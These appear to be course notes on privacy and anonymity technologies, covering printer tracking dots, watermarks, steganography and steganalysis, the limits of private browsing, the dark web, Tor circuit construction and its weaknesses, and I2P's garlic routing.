Many color laser printers embed nearly invisible yellow dots encoding the printer's serial number and timestamp on every page printed. This enables tracing documents to their source printer.
Fragile vs. Robust Watermarks
Fragile watermarks break if content is modified. Used for authentication and tamper detection (currency, passports, tickets).
Robust watermarks survive transformation. Used for tracking ownership and authorship (photos, videos, documents).
Steganography for Malware
Attackers use steganography to deliver malware past content-inspecting firewalls and to exfiltrate data through innocent-looking uploads. Malicious payloads can be hidden in images, audio, or other media files that appear harmless to security tools.
Steganalysis
Steganalysis is the practice of detecting hidden content in files. The more data hidden, the greater the risk of detectable artifacts.
Anonymous Communication
Limits of Private Browsing
Browser private modes (Incognito, InPrivate) don't send cookies, don't save history, and discard cached pages at session end. However, they do not provide true privacy:
-
Web servers see your IP address
-
ISPs know what domains you access
-
DNS servers log your queries
-
Proxies and firewalls see traffic
Commercial VPNs hide your IP from destinations but the VPN provider knows your activity.
The Dark Web
The surface web is content indexed by search engines. The deep web is unindexed content (database query results, private pages). The dark web is intentionally hidden content that requires special software, such as Tor, to access.
Dark web services use .onion addresses derived from hashed public keys. Both legitimate services (news outlets, SecureDrop, search engines) and illicit services operate on the dark web.
Tor (The Onion Router)
How Tor Works
Tor provides anonymous browsing through volunteer-operated relays. Users download the Tor Consensus Document, which describes the entire network: all valid relays, their IP addresses, ports, bandwidth, and their public keys. This document is signed by trusted directory authorities and updated hourly.
Tor provides two forms of anonymity:
-
Unobservability: Observers cannot link participants to actions
-
Unlinkability: Multiple actions cannot be associated as related
Circuits
Users build circuits through three relays (entry, middle, exit). Each relay only knows its immediate neighbors in the chain. The entry relay knows the user's IP address but not the destination. The exit relay knows the destination but not the user.
Circuit setup uses the relay public keys from the consensus document to establish session keys:
-
User establishes TLS link to Relay1, uses Relay1's public key to negotiate symmetric session key S1
-
User extends circuit to Relay2 through Relay1, uses Relay2's public key to negotiate session key S2
-
User extends circuit to Relay3 through Relay1 and Relay2, uses Relay3's public key to negotiate session key S3
Only each respective relay can decrypt its session key. Messages are then encrypted in layers (S3, then S2, then S1). Each relay strips one layer before forwarding.
Tor is not a VPN. It does not encapsulate IP packets but relays data streams. End-to-end TLS can still be used on top of Tor.
Limitations
Correlation attacks: If an attacker observes both entry and exit traffic, they can correlate timing and message sizes to link users to destinations.
Compromised exit nodes: Exit relays decrypt the final layer and contact destinations. Unencrypted traffic is visible to the exit node.
Sybil attacks: An adversary running many relays (entry and exit) can break anonymity for circuits using their nodes.
Censorship: Governments can block known Tor relays. Tor addresses this with bridges--unlisted relays using obfuscated protocols (obfs4) to disguise Tor traffic.
I2P (Invisible Internet Project)
I2P uses garlic routing, which bundles multiple messages together at each relay (making traffic analysis harder). Unlike Tor's bidirectional circuits, I2P uses separate unidirectional tunnels for inbound and outbound traffic.
Tor focuses on anonymous access to services. I2P focuses on anonymous hosting of services using a distributed hash table for routing.